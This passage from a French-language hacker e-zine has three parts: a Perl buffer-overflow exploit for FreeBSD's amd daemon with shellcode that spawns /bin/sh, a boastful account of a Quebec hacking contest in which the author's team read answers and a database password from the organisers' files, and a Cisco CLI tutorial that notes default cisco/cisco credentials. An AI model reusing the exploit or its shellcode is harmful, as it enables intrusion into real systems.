------------------------------- 8< cut here 8< ------------------------------- #!/usr/bin/perl # # Fbsd AMD exploit, dosen't give root since it's not seuid. # ########################################################### my $shout = "MindKind_Is_Da_Bomb!"; my $coder = "FunkY"; ########################################################### my $execv = "\x31\xc0\x50\x50\xb0\x17\xcd\x80". "\x31\xc0\x50\x50\xb0\xb5\xcd\x80". "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" . "\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53" . "\xb0\x3b\x50\xcd\x80"; my $ret = "\x08\xf6\xbf\xbf"; my $head = 700; my $body = 200; my $tail = 85; my $buf; # .:[Building buffer]:. $buf .= $shout x($head/20); $buf .= "\x90"x($body-length($execv)); $buf .= $execv; $buf .= $coder x($tail/5); $buf .= $ret; # .:[Exploitation Starts]:. system("/usr/sbin/amd", "-k" , "$buf"); ------------------------------- 8< cut here 8< ------------------------------- __ ______ __ __ __ _ ___ __ _ _ _ _\_ _ _ \ / \ / \ \ \ \ _ \ \ .\ | |/ / / / / _ / /.\ \ .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----| < /_/-/_//_/\/__/ \- ------. : \ \ \__/ / / |_|\_\ \ \ : , \/ \/ \ \ | : \ \ . . 11.05 Centinel Hacking Countest \ \ ! . aka \ \ . ; veni,vidi,vici \ \ : : \ \ : '-- ----- - -------- --- --------- - -- ------------- --- -\ \-' \____ _ _\ Le 9 octobre dernier au soir, avait lieu à l'Université Laval à Québec dans le cadre du Congres Étudiant sur les Nouvelles Technologies de l'INformation et de l'ÉLectronique un concours de hacking. C'est la première fois qu'avait lieu au Québec un événement de la sorte. Le concours avait lieu à Québec même. Ville où la majorité des grands groupes de hackers Québécois est née, Northern Phun co, Corrupted-Addict et Illegal Granted Access. L'événement a été publicisé dans l'underground notamment grâce au vivotant groupe Pyrofreak et à l'organisation 2600mtl. Une quarantaine de participant et une vingtaine de bénévole ont participé au projet. Parmi les concurrents connu de la scène on retrouvais BMG de 2600mtl, Nitrogen et Binf de devhell ainsi que moi même (Wyzeman), __2 et Qwzykx avons décidé de participer au concours sous le couvert de notre ancien groupe IGA. Phaust de C-A est venu faire sont tour et nous jaser un peu. mtadbf mieux connu sous le nom de Bond007 ne pouvait participer au concours puisqu'il connaissait trop les organisateurs et se serait retrouvé en conflit d'intérêt, il a donc participé à l'événement en tant que pseudo organisateur. Patoff et Spyd de Pyrofreak était aussi de l'événement, mais n'ont pas participé. Pour le reste des concurrents ils étaient de nature inconnue. Ce qui porte à croire que la scène Québécoise est un peu plus grande que celle connue, mais très peu d'entre eux on performer, ce qui explique de fait, leurs natures inconnues. Le concours était divisé en 2 parties, une composée de 8 levels portant sur des méthodes de hacking connu, tel le sql injection, les buffers overflow d'argument et d'environnement, ainsi que un format string bug. La deuxième partie était constituée d'une vingtaine de machines à hacker freestyle, où le but était pas mal d'avoir les bons outils et d'avoir leecher toute les exploits 0 day des 6 derniers mois, cette parti du concours a été en fait plutôt délaisser par les concurrents. Avant le début du concours, 2 conférences étaient offertes gratuitement aux concurrents. Une sur les IDS à laquelle moi et __2 sommes arrivés en plein milieu, encore sous les effets du weed. Nous nous sommes vite rendu compte que cette conférence donnée par un bénévole de Linux Québec ne s'adressait pas à nous (après tout, je venais quand même d'écrire un article sur le sujet même pas 2 mois avant). Cependant nous nous sommes rendu compte que bon nombre de participants étaient impressionnés par la conférence. Ce qui nous a permit de douter un peu sur le challenge que nous offrirait les concurrents du concours. Déçu par la première conférence, nous avons décidé de ne pas assisté à la seconde, se disant qu'elle ne nous apporterait pas grand chose de plus que la première. Mtadbf est d'accord avec nous pour dire que les conférences étaient un peu médiocre, non pas qu'elles étaient foncièrement mauvaises mais elles devaient s'adresser à des hackers chevronnés, du moins c'est ce que nous croyons. Pourtant elles ont tout de même intéressé une majorité de participant. Le hackfest débuta officiellement à la fin des 2 conférences vers 9h du soir et devait s'étendre jusqu'a 3 heure du matin. Qui a gagné ? nous, bien évidement, malgré le fait que les favoris de la scène étaient nitrogen et binf de devhell, qui sont ma foi particulièrement surestimés. Nous avons évidement été accusé de tricher, amusant non, tricher dans un concours de hack. Effectivement, nous n'avons pas suivit le chemin que les organisateurs auraient bien aimés qu'on suive. Voici ce que nous avons vraiment fait. Après avoir réussi les #1 #3 et #4, __2 a découvert en faisant un ps -aux un deamon qui avait pour but de tenir live les statistiques du concours (quel groupe est rendu où). Le deamon ayant pour argument un fichier dans le path du site web. Par curiosité, nous sommes allez voir si nous ne pouvions pas avoir accès au site web (les #4 #5 #6 #7 et #8 qui était des buffer overflow et format string bug, se faisaient en local sur la machine du concours grâce à un shell au quel nous avions accès). Quel ne fut pas notre grande surprise de découvrir hardcodé dans le fichier php qui s'occupait de filtrer les réponses des concurrents, les réponses du dit concours, nous avons aussi trouvé le pass de la bd mysql dans les fichier php du site (les 3 premières questions était web based). Un seul numéro nous a cependant été crédité pour ce hack. N'ayans plus aucun intérêt au concours (après tout nous avions le sentiment justifier d'avoir gagné), nous sommes parti. Il était minuit. Les 3 heures restantes au concours n'ont pas suffit aux autres groupes, notamment les favoris, devhell (qui soutiennent que s'ils n'ont pas réussi à nous battre c'est qu'ils étaient frost et qu'ils ont quitté avant, et bien c'est aussi notre cas et on a gagné, alors bien piètre excuse que la leur) pour battre les 4 numéro que nous avions réussi. Il est aussi amusant de savoir que IGA a été le seul groupe a réussir un des problèmes sur les buffers overflows et que nous étions sur le bord d'en réussir un deuxième lorsque nous avons fait notre coup d'éclat. Donc même sans tricher nous aurions tout de même gagné, les résultats donnés sur le site du hackfest (http://hackfest.centinel.org/) sont la pour en témoigner. Temps : 20:50:38 Numéro : 1 Nom: iga Temps : 21:36:40 Numéro : 2 Nom: bleh Temps : 21:41:56 Numéro : 3 Nom: kohi Temps : 21:43:12 Numéro : 2 Nom: kohi Temps : 21:47:39 Numéro : 1 Nom: kohi Temps : 22:05:19 Numéro : 1 Nom: dh Temps : 22:24:46 Numéro : 2 Nom: dh Temps : 22:55:16 Numéro : 4 Nom: iga Temps : 23:02:49 Numéro : 2 Nom: iga Temps : 23:03:02 Numéro : 3 Nom: iga Temps : 23:46:25 Numéro : 1 Nom: R Temps : 23:58:19 Numéro : 2 Nom: R Temps : 00:10:25 Numéro : 1 Nom: Megaoctet Sommes toutes l'événement a bien plut à plusieurs. Les perdants, outre nous accuser d'avoir tricher, clament haut et fort que le but n'était pas de gagner mais de participer. Je ne sais pas si ils se croient vraiment, mais si oui, il s'agit la d'un belle exemple de la médiocrité Québécoise, qui affecte même notre Underground. Le seul et unique but d'un concours généralement est de déclarer un gagnant. Et bien soit, continué à jouer les perdants comme il vous plait tant, nous nous allons continuer à faire évoluer la scène Québécoise pour l'amener au sommet et soyez sur qu'on vous laissera pas salir notre image. Il est tout de même plaisant de savoir que les organisateurs ont apprécié leur expérience et on promit de recréer l'événement l'an prochain. Nous espérons tout de fois que la qualité des concurrents sera supérieure l'an prochain et que le kiddie qui a fait du arp poisoning toute la soirée aura comprit que c'est pas sa place. Donnons-lui tout de même le crédit d'avoir donné quelque chose à dire à Spyd pendant un mois. À l'an prochain Wyzeman ___ ___ .----/ /----------- ---------- --------- - -- - - --- -----------/ / | / / / /| : / / / / : | / / wyzeman@mindkind.org / / | |/ / / / | /___/-- ---------- ----- ----------------- - ------- -- --- -/___/----' ____ ,------------------------------------------------- / \ | | _ | | Mindkind's open source software of the zine | / \ | | -Eraser || | | / http://sourceforge.net/projects/eraser/ (.) (.)| / Eraser est un utilitaire sécure pour effacer ses || | | <__ fichiers. Comme tout le monde le sait, il est || | | | | possible de retrouver des données effacées même || | | | | après avoir vidé la corbeille. Sans trop entrer |____/|| | | dans les détails, Eraser efface les documents de |\___/ | | | façon tout à fait permanente (quoi que 10 fois || | | | | plus lente). Eraser fonctionne uniquement sous || | | | | Windows. || | | | | || | | | \___/ | | | \______/ __ ______ __ __ __ _ ___ __ _ _ _ _\_ _ _ \ / \ / \ \ \ \ _ \ \ .\ | |/ / / / / _ / /.\ \ .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----| < /_/-/_//_/\/__/ \- ------. : \ \ \__/ / / |_|\_\ \ \ : , \/ \/ \ \ | : \ \ . . 11.06 Internet platiqué 1 \ \ ! . aka \ \ . ; Ta fini avec ta foutu théorie, jveux mon CCNA \ \ : : yaka Avez-vous déjà touché un (Cisco) CLI? \ \ : '-- ----- - -------- --- --------- - -- ------------- --- -\ \-' \____ _ _\ Dans la suite de mes articles théoriques sur "Internet", voici donc un peu de pratique pour se dégourdir les doigts... Let's hack some Ciscos ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Bon j'ai genre le livre de CCNA dans les mains.. et... FUCK IT. Vous le lirez (disponible chez tout les bons bookwarez-doodz). On va s'amuser à place :-) Bon primo on va régler quelque chose assez vite. Ya des routers Cisco et des switchs Cisco. Ya différentes sortes de routers et switchs, mais en gros les commandes se ressemble pas mal. Voici ceux qu'on va regarder : Cisco GSR: ça ctun CRISS de gros cisco. Le genre qui roule une couple d'interface OC192/OC48/GigabitEthernet/Ethernet et qui fait beaucoup de bruit. Ça ressemble à 2 grosses caisses. Une avec des cartes cutes que c'est marqué OC192 ou OC48 dessus et qu'on plug les fibres en avant et l'autre qui a d'l'air d'être fermée (qui doit être une espèce de contrôleur) et qu'on branche le reste en arrière. D'habitude le # de modèle des GSR cé dans les 12000. Cisco 2600 : router plus "standard" et plus compact que le GSR. Contient des interfaces FastEthernet et GigabitEthernet. Ressemble à une boite à pizza. On branche les câbles à l'arrière. Cisco 3500 : Switch assez standard. Ressemble à un Cisco 2600 (style pizza box) mais d'habitude sur une switch on plug beaucoup plus de ports. Ça peut être 8 ou 24, en GigabitEthernet et/ou en FastEthernet. Ces 3 machines là ont donc un prompt similaire : User Access Verification Password: JessicaAlba>enable Password: JessicaAlba# La commande "enable" sert à rentrer dans un mode de config complet. Moi c'était cisco/cisco le username/pass, mais je crois pas que ça va être la même chose pour vous. La box que vous avez le plus de chance d'avoir ça comme mot de passe, c'est une box qui sert aux "tests". Genre dans un Cégep/Université. Aussi le prompt est setté avec le nom identifiant du Cisco; Dans le présent, le nom va être JessicaAlba pour le GSR, AngelinaJolie pour le 2600 et KirstenDunst pour la switch(pour garder votre attention, et surtout pour pouvoir jouer dans les setups intimes des interfaces de ces demoiselles.. he he he). Dans tout bon Cisco ya des commandes de base. Que ce soit un router ou une switch, la commande va être disponible. La première et dernière commande que vous avez à apprendre lorsque vous avez un cisco dans les mains, c'est "?". Vous pouvez placer le "?" n'importe ou dans une ligne de commande avec plusieurs paramètres, et à chaque fois le cisco vous donne les choix disponible. Mais bon, je vais être gentil et je vais prendre en considération que vous avez pas de Cisco (après tout c rare de quoi en bas de 20 000$ :-). Voici donc les outputs des helps. Pis vu que jme sens cheap de juste paster du stock de même, je vais commenter un ti peu.. (commentaires C style // ça va être moi) GSR: JessicaAlba#? Exec commands: <1-99> Session number to resume access-enable Create a temporary Access-List entry access-profile Apply user-profile to interface access-template Create a temporary Access-List entry archive manage archive files attach Console for LineCard calendar Manage the hardware calendar cd Change current directory // Et oui ya un filesystem sur un GSR chain-cache Control parser chain-cache clear Reset functions clock Manage the system clock cns CNS subsystem configure Enter configuration mode // Pour passer à l'autre mode supérieur connect Open a terminal connection copy Copy from one file to another debug Debugging functions (see also 'undebug') // plutôt cool permet de voir // en temps réel ce qui se passe.. genre les users qui se // log, ce que la machine fait, peut même débugger packet // par packet (à ne pas conseiller sur une interface a // haut débit.. hehe) delete Delete a file diag Launch Cisco Field Diagnostics dir List files on a filesystem // me semble c'est pas un HD // c juste de la "flash" genre.. disable Turn off privileged commands disconnect Disconnect an existing network connection enable Turn on privileged commands erase Erase a filesystem // Kc que je disais sur le FS :-) execute-on Execute command remotely exit Exit from the EXEC facility-alarm Alarm commands format Format a filesystem help Description of the interactive help system hw-module Control of individual components in the system lock Lock the terminal login Log in as a particular user logout Exit from the EXEC mkdir Create new directory monitor Monitoring different system events // Peut être intéressent // pour voir qui se connect sur la machine et etc... more Display the contents of a file mpls MPLS commands mrinfo Request neighbor and version information from a multicast router mrm IP Multicast Routing Monitor Test mstat Show statistics after multiple multicast traceroutes mtrace Trace reverse multicast path from destination to source name-connection Name an existing network connection no Disable debugging functions ping Send echo messages // Similaire à /sbin/ping ou ping.exe ppp Start IETF Point-to-Point Protocol (PPP) pwd Display current working directory redundancy redundancy control reload Halt and perform a cold restart // En gros ça flush la mem // pis ça la reload, sans flusher les users et etc rename Rename a file restart Restart Connection resume Resume an active network connection rmdir Remove existing directory rsh Execute a remote command send Send a message to other tty lines set Set system parameter (not config) setup Run the SETUP command facility show Show running system information slip Start Serial-line IP (SLIP) squeeze Squeeze a filesystem systat Display information about terminal lines telnet Open a telnet connection terminal Set terminal line parameters test Test subsystems, memory, and interfaces traceroute Trace route to destination tunnel Open a tunnel connection // ça j'avoue j'l'ai pas essayé, // bien que ça m'intrigue undebug Disable debugging functions (see also 'debug') undelete Undelete a file upgrade upgrade GSR rom image(s) verify Verify a file where List active connections which-route Do OSI route table lookup and display results write Write running configuration to memory, network, or terminal 2600: AgelinaJolie#? // plutôt la même chose que le GSR // (après tout Cisco run IOS sur toutes les machines..) Exec commands: <1-99> Session number to resume access-enable Create a temporary Access-List entry access-profile Apply user-profile to interface access-template Create a temporary Access-List entry alps ALPS exec commands archive manage archive files audio-prompt load ivr prompt bfe For manual emergency modes setting call Load IVR call application ccm-manager Call Manager Application exec commands cd Change current directory clear Reset functions clock Manage the system clock cns CNS subsystem configure Enter configuration mode connect Open a terminal connection copy Copy from one file to another debug Debugging functions (see also 'undebug') delete Delete a file dir List files on a filesystem disable Turn off privileged commands disconnect Disconnect an existing network connection enable Turn on privileged commands erase Erase a filesystem exit Exit from the EXEC help Description of the interactive help system isdn Run an ISDN EXEC command on a BRI interface lat Open a lat connection lock Lock the terminal login Log in as a particular user logout Exit from the EXEC microcode microcode commands monitor Monitoring different system events more Display the contents of a file mpls MPLS commands mpoa MPOA exec commands mrinfo Request neighbor and version information from a multicast router mrm IP Multicast Routing Monitor Test mstat Show statistics after multiple multicast traceroutes mtrace Trace reverse multicast path from destination to source name-connection Name an existing network connection ncia Start/Stop NCIA Server no Disable debugging functions pad Open a X.29 PAD connection ping Send echo messages ppp Start IETF Point-to-Point Protocol (PPP) pwd Display current working directory radio Radio commands reload Halt and perform a cold restart rename Rename a file restart Restart Connection resume Resume an active network connection rlogin Open an rlogin connection rsh Execute a remote command sdlc Send SDLC test frames send Send a message to other tty lines setup Run the SETUP command facility show Show running system information slip Start Serial-line IP (SLIP) squeeze Squeeze a filesystem start-chat Start a chat-script on a line systat Display information about terminal lines tarp TARP (Target ID Resolution Protocol) commands tclquit Quit Tool Comand Language shell tclsh Tool Comand Language a shell // C'est weird ça, il l'avait // pas sur le GSR suppose que ça la été installé pour // runner des scripts de config ou de quoi du genre.. telnet Open a telnet connection terminal Set terminal line parameters test Test subsystems, memory, and interfaces tn3270 Open a tn3270 connection traceroute Trace route to destination tunnel Open a tunnel connection udptn Open an udptn connection undebug Disable debugging functions (see also 'debug') upgrade Upgrade firmware verify Verify a file where List active connections which-route Do OSI route table lookup and display results write Write running configuration to memory, network, or terminal x28 Become an X.28 PAD x3 Set X.3 parameters on PAD xremote Enter XRemote mode Switch 3500: KirstenDunst#? Exec commands: <1-99> Session number to resume access-enable Create a temporary Access-List entry access-template Create a temporary Access-List entry archive manage archive files cd Change current directory clear Reset functions clock Manage the system clock cluster cluster exec mode commands configure Enter configuration mode connect Open a terminal connection copy Copy from one file to another debug Debugging functions (see also 'undebug') delete Delete a file dir List files on a filesystem disable Turn off privileged commands disconnect Disconnect an existing network connection enable Turn on privileged commands erase Erase a filesystem exit Exit from the EXEC format Format a filesystem fsck Fsck a filesystem help Description of the interactive help system hw-module Commands to manipulate a target module lock Lock the terminal login Log in as a particular user logout Exit from the EXEC mkdir Create new directory more Display the contents of a file name-connection Name an existing network connection no Disable debugging functions ping Send echo messages pwd Display current working directory rcommand Run command on remote switch reload Halt and perform a cold restart rename Rename a file resume Resume an active network connection rmdir Remove existing directory rsh Execute a remote command send Send a message to other tty lines session Start remote console session set Set system parameter (not config) setup Run the SETUP command facility show Show running system information systat Display information about terminal lines telnet Open a telnet connection terminal Set terminal line parameters test Test subsystems, memory, and interfaces traceroute Trace route to destination tunnel Open a tunnel connection udld UDLD protocol commands undebug Disable debugging functions (see also 'debug') verify Verify a file vlan Configure VLAN parameters vmps VMPS actions where List active connections write Write running configuration to memory, network, or terminal Bon là jvas pas toute vous paster les sous-help.. ya quand même des limites. Mais vous voyez un peu de quoi ça la d'l'air, curieusement le GSR a moins de commandes que le 2600. Bon, tant qu'à paster des choses en batch, je vais aussi mettre un output du show version de chaque bécane. Pour recueillir de l'information show est la commande à utiliser. En passant ya BEAUCOUP de "show ?" sur un 2600 : AngelinaJolie#show ? access-expression List access expression access-lists List access lists // Les ACL de la machine.. // peut être usefull pour voir qui peut se connecter // ou pas accounting Accounting data for active sessions adjacency Adjacent nodes aliases Display alias commands alps Alps information apollo Apollo network information appletalk AppleTalk information arap Show Appletalk Remote Access statistics arp ARP table // C cute ça ta toute la liste des // macadress qui sont pluggés sur tel et tel port. async Information on terminal lines used as router interfaces backhaul-session-manager Backhaul Session Manager information backup Backup status bgp BGP information // Un protocol de routing (voir mon autre article) bridge Bridge Forwarding/Filtering Database [verbose] bsc BSC interface information bstun BSTUN interface information buffers Buffer pool statistics c2600 Show c2600 information call Show call caller Display information about dialup connections cca CCA information ccm-manager Call Manager Application information cdapi CDAPI information cdp CDP information cef Cisco Express Forwarding class-map Show QoS Class Map clns CLNS network information clock Display the system clock cls DLC user information cns CNS subsystem compress Show compression statistics configuration Contents of Non-Volatile memory connection Show Connection context Show context information controllers Interface controller status cops COPS information debugging State of each debugging option decnet DECnet information derived-config Derived operating configuration dhcp Dynamic Host Configuration Protocol status diag Show diagnostic information for port adapters/modules dial-peer Dial Plan Mapping Table for, e.g. VoIP Peers dialer Dialer parameters and statistics dialplan Voice telephony dial plan diffserv Differentiated services dlsw Data Link Switching information dnsix Shows Dnsix/DMDP information docsis Show DOCSIS drip DRiP DB dspu Display DSPU information dxi atm-dxi information entry Queued terminal entries environment Environmental monitor statistics exception exception informations file Show filesystem information flash: display information about flash: file system frame-relay Frame-Relay information fras FRAS Information fras-host FRAS Host Information gateway Show status of gateway history Display the session command history hosts IP domain-name, lookup style, nameservers, and host table html HTML helper commands idb List of Hardware Interface Descriptor Blocks interfaces Interface status and configuration ip IP information // dans ip ya d'autre sous-show, donc un show ip & // s'imposerais! ipv6 IPv6 information ipx Novell IPX information isis IS-IS routing information kerberos Show Kerberos Values key Key information keymap Terminal keyboard mappings lat DEC LAT information line TTY line information llc2 IBM LLC2 circuit information lnm IBM LAN manager local-ack Local Acknowledgement virtual circuits location Display the system location logging Show the contents of logging buffers memory Memory statistics mgcp Display Media Gateway Control Protocol information microcode show configured microcode for downloadable hardware modemcap Show Modem Capabilities database mpls MPLS information // encore un routing protocol! // après tout c't'un routeur ;-) mpoa MPOA show commands nbf NBF (NetBEUI) information ncia Native Client Interface Architecture netbios-cache NetBIOS name cache contents node Show known LAT nodes ntp Network time protocol num-exp Number Expansion (Speed Dial) information parser Display parser information pas Port Adaptor Information pci PCI Information policy-map Show QoS Policy Map ppp PPP parameters and statistics printers Show LPD printer information privilege Show current privilege level processes Active process statistics protocols Active network routing protocols qdm Show information about QoS Device Manager qllc Display qllc-llc2 and qllc-sdlc conversion information queue Show queue contents queueing Show queueing configuration radius Shows radius information random-detect-group display random-detetct group registry Function registry information reload Scheduled reload information rhosts Remote-host+user equivalences rif RIF cache entries rmon rmon statistics route-map route-map information rtpspi RTP Service Provider Interface rtr Response Time Reporter (RTR) rudpv1 Rudpv1 information running-config Current operating configuration saa Service Assurance Agent information sdllc Display sdlc - llc2 conversion information services LAT learned services sessions Information about Telnet connections sgbp SGBP group information sip-ua Show SIP User Agent smf Software MAC filter smrp Simple Multicast Routing Protocol(SMRP) information sna Display SNA host information snapshot Snapshot parameters and statistics snmp snmp statistics source-bridge Source-bridge parameters and statistics spanning-tree Spanning tree topology srcp Display SRCP Protocol information stacks Process stack utilization standby Hot standby protocol information startup-config Contents of startup configuration stun STUN status and configuration subscriber Display the wireless subscriber unit management applications subscriber-policy Subscriber policy subsys Show subsystem information tacacs Shows tacacs+ server statistics tarp TARP information tcp Status of TCP connections tdm TDM connection information tech-support Show system information for Tech-Support template Template information terminal Display terminal configuration parameters tgrm Trunk Group Resource Mananger info time-range Time range tn3270 TN3270 settings traffic-shape traffic rate shaping configuration translate Protocol translation information translation-rule Show translation rule table ttycap Terminal capability tables users Display information about terminal lines vc-group Show VC Group version System hardware and software status vines VINES information vlans Virtual LANs Information voice Voice port configuration & stats voip Voice over Internet Protocol information vpdn VPDN information vtemplate Virtual Template interface information whoami Info on current tty line x25 X.25 information x29 X.29 information xns XNS information xremote XRemote statistics Bon trêve de plaisanterie, voici les fameux show version: GSR: JessicaAlba#show version Cisco Internetwork Operating System Software IOS (tm) GS Software (GSR-P-M), Version 12.0(18)ST, EARLY DEPLOYMENT RELEASE SOFTWARE (fc1) TAC Support: http://www.cisco.com/tac Copyright (c) 1986-2001 by cisco Systems, Inc. Compiled Thu 09-Jul-01 21:20 by jwell Image text-base: 0x60010950, data-base: 0x6144A000 ROM: System Bootstrap, Version 11.2(20020206:174913) [sumisra-bfr112 182], DEVELOPMENT SOFTWARE BOOTLDR: GS Software (GSR-BOOT-M), Version 12.0(8)S, EARLY DEPLOYMENT RELEASE SOFTWARE (fc1) JessicaAlba uptime is 1 day, 3 hours, 45 minutes System returned to ROM by reload at 12:24:15 EST Mon Nov 11 2002 System restarted at 18:24:22 EST Thu Jul 25 2002 System image file is "slot0:gsr-p-mz.120-18.ST.bin" cisco 12416/GRP (R5000) processor (revision 0x05) with 262144K bytes of memory. R5000 CPU at 200Mhz, Implementation 35, Rev 2.1, 512KB L2 Cache Last reset from power-on 1 Route Processor Card 2 Clock Scheduler Cards 3 Switch Fabric Cards 1 OC48 POS controller (1 POS). 2 OC192 POS controllers (2 POS). 1 Three Port Gigabit Ethernet/IEEE 802.3z controller (3 GigabitEthernet). 1 Ethernet/IEEE 802.3 interface(s) 3 GigabitEthernet/IEEE 802.3 interface(s) 3 Packet over SONET network interface(s) 507K bytes of non-volatile configuration memory. 20480K bytes of Flash PCMCIA card at slot 0 (Sector size 128K). 8192K bytes of Flash internal SIMM (Sector size 256K). Configuration register is 0x2102 Ouan ben on peut voir toute les interfaces, pis que finalement ya de la mémoire flash en PCMCIA là-dessus.. (je suppose que le OS est dessus, facile a upgrader ou formatter). Bon vu que c'est fatigant avoir des pastes, je vais copier seulement les lignes du 2600 qui sont différentes... AngelinaJolie#show version IOS (tm) C2600 Software (C2600-JS-M), Version 12.2(2)T1, RELEASE SOFTWARE (fc2) TAC Support: http://www.cisco.com/tac Copyright (c) 1986-2001 by cisco Systems, Inc. cisco 2621 (MPC860) processor (revision 0x200) with 60416K/5120K bytes of memory. M860 processor: part number 0, mask 49 Bridging software. X.25 software, Version 3.0.0. SuperLAT software (copyright 1990 by Meridian Technology Corp). TN3270 Emulation software. 2 FastEthernet/IEEE 802.3 interface(s) 32K bytes of non-volatile configuration memory. 16384K bytes of processor board System flash (Read/Write) On voit alors que le processeur du 2600 est pas mal moins fort.. et à moins de mémoire. Bon, même chose avec la switch : KirstenDunst#show version IOS (tm) C3500XL Software (C3500XL-C3H2S-M), Version 12.0(5.2)XU, MAINTENANCE INTERIM SOFTWARE Copyright (c) 1986-2000 by cisco Systems, Inc. ROM: Bootstrap program is C3500XL boot loader cisco WS-C3524-XL (PowerPC403) processor (revision 0x01) with 8192K/1024K bytes of memory. Processor board ID FAA0504F082, with hardware revision 0x00 Last reset from warm-reset Processor is running Enterprise Edition Software Cluster command switch capable Cluster member switch capable 24 FastEthernet/IEEE 802.3 interface(s) 2 Gigabit Ethernet/IEEE 802.3 interface(s) Encore plus minus.. faut dire qu'une switch ça l'a moins d'affaires à gérer du coté CPU.. c'est à peine si elle garde quelques affaires en mémoire. La principale différence c'est que les protocoles de routing sont pas implémentés dans la switch, c'est ça qui fait toute la différence dans la mémoire qu'on a de besoin et du CPU. Bon asteure que le ezine pèse 5000ko, allons-y avec des commandes qui font quelque chose de plus poussé! heh Mettons que je veux voir les vlans configurés sur la machine.. (à partir d'ici je tiens compte que vous avez mémorisé ou noté les noms des chix avec les types de machine ;-) JessicaAlba#show vlans No Virtual LANs configured. I guess que Jessica aime pas full les vlans.. AngelinaJolie#show vlans Virtual LAN ID: 1 (IEEE 802.1Q Encapsulation) vLAN Trunk Interface: FastEthernet0/0 This is configured as native Vlan for the following interface(s) : FastEthernet0/0 Protocols Configured: Address: Received: Transmitted: Virtual LAN ID: 1281 (IEEE 802.1Q Encapsulation) vLAN Trunk Interface: FastEthernet0/0.1281 Protocols Configured: Address: Received: Transmitted: IP 192.168.10.2 0 4623 Virtual LAN ID: 31 (IEEE 802.1Q Encapsulation) vLAN Trunk Interface: FastEthernet0/0.31 Protocols Configured: Address: Received: Transmitted: IP 192.168.31.8 128 10235 CLNS 55 0 oh oh qu'est-ce que je vois! ben oui, Angelina a des vlans de configurés.. on voit donc une interface FastEthernet(FA) et des sous-interfaces FA. Car oui, grâce aux merveilleux vlan, on peut faire rouler sur la même interface plusieurs "instances" du router.. tout ce qu'on a faire c'est de mettre ça dans un vlan! Fantastique non? si on regarde sur la switch c'est pas mal différent du router : KirstenDunst#show vlan VLAN Name Status Ports ---- -------------------------------- --------- ------------------------------- 1 default active Fa0/13, Fa0/14, Fa0/15, Fa0/16, Fa0/17, Fa0/18, Fa0/19, Fa0/20, Fa0/21, Fa0/22, Fa0/23, Fa0/24, Gi0/1 10 VL10 active 11 VL11 active 12 VLAN0012 active 13 VLAN0013 active Lorsque la switch a beaucoup de ports, elle risque d'avoir beaucoup de vlans.. m'enfin c'est avec cette commande qu'on peut voir dans quel vlan est pluggé un port.. quand même pseudo-pratique. Sur la switch on peut aussi savoir la mac address pluggé avec le port : KirstenDunst#show mac-address-table Dynamic Address Count: 601 Secure Address Count: 0 Static Address (User-defined) Count: 0 System Self Address Count: 49 Total MAC addresses: 650 Maximum MAC addresses: 8192 Non-static Address Table: Destination Address Address Type VLAN Destination Port ------------------- ------------ ---- -------------------- 0000.0301.0102 Dynamic 1 GigabitEthernet0/2 0000.0401.0102 Dynamic 1 GigabitEthernet0/2 0000.0501.0102 Dynamic 1 GigabitEthernet0/2 0000.5008.cc4d Dynamic 1 FastEthernet0/24 0000.c0a8.0102 Dynamic 501 GigabitEthernet0/2 0000.c0a8.0202 Dynamic 502 GigabitEthernet0/2 0000.c0a8.0502 Dynamic 503 GigabitEthernet0/2 0001.0235.71d1 Dynamic 1 FastEthernet0/24 bon, la c'est beau tout ça, mais comment on fait pour voir les détails les plus intimes de chaque interfaces? et bien c'est "show interfaces" pour tout les machines.. voici un sample de Jessica : JessicaAlba#show interfaces GigabitEthernet1/0 is up, line protocol is up // ça veut dire que le laser // est ouvert, et que le routeur gère le port.. Hardware is GigMac 3 Port GigabitEthernet, address is 0003.f00d.c001 (bia 0003.f00d.c001) // BTW ce port la c'est dla fibre optique quand même.. Internet address is 192.176.17.120/24 // Le ip et le netmask de l'interface // 1500 c'est le MTU par défaut, la Bandwidth (BW) est exprimé en KiloBITS, // dans le cas de cette interface, il y en a un million // (1 gigabit/sec! d'ou le nom de l'interface..) MTU 1500 bytes, BW 1000000 Kbit, DLY 10 usec, rely 255/255, load 1/255 Encapsulation ARPA, loopback not set Keepalive set (10 sec) Full-duplex mode, link type is force-up, media type is SX output flow-control is unsupported, input flow-control is off ARP type: ARPA, ARP Timeout 04:00:00 Last input 00:00:08, output 00:00:00, output hang never Last clearing of "show interface" counters never Queueing strategy: fifo Output queue 0/40, 0 drops; input queue 0/75, 150 drops 5 minute input rate 0 bits/sec, 0 packets/sec 5 minute output rate 0 bits/sec, 0 packets/sec // bon là pour ces stats là je suis pas sûr si c'est un 5minutes ou depuis // le uptime.. mais vu que la machine avait juste 1 jour de uptime, et que // c'est une machine test, c'est sûrement depuis que le port est "up"... 45094188 packets input, 3653684704 bytes, 0 no buffer Received 235909 broadcasts, 0 runts, 107781 giants, 0 throttles 1273250 input errors, 0 CRC, 0 frame, 1273250 overrun, 0 ignored 0 watchdog, 3526047 multicast, 0 pause input 15685 packets output, 1227106 bytes, 0 underruns 0 output errors, 0 collisions, 3 interface resets 0 babbles, 0 late collision, 0 deferred 14 lost carrier, 0 no carrier, 0 pause output 0 output buffer failures, 0 output buffers swapped out POS3/0 is down, line protocol is down // Ça veut dire que le laser est pas // allumé, et qu'on s'en sert pas dans le routeur.. Hardware is Packet over SONET // SONET c'est le protocole qui marche avec la // fibre optique pis le PPP. On parle d'une OC48 ici, alors le MTU est a 4470 // (et ben!) pis la speed c'est 2,488 gigabits/sec! MTU 4470 bytes, BW 2488000 Kbit, DLY 100 usec, rely 255/255, load 1/255 Encapsulation HDLC, crc 32, loopback not set Keepalive set (10 sec) Scramble disabled Last input never, output never, output hang never Last clearing of "show interface" counters never Queueing strategy: fifo Output queue 0/40, 0 drops; input queue 0/75, 0 drops 5 minute input rate 0 bits/sec, 0 packets/sec 5 minute output rate 0 bits/sec, 0 packets/sec // Vu que le port est "down" donc closed, on a pas d'infos sur ce qui passe 0 packets input, 0 bytes, 0 no buffer Received 0 broadcasts, 0 runts, 0 giants, 0 throttles 0 parity 0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort 0 packets output, 0 bytes, 0 underruns 0 output errors, 0 applique, 0 interface resets 0 output buffer failures, 0 output buffers swapped out 2 carrier transitions 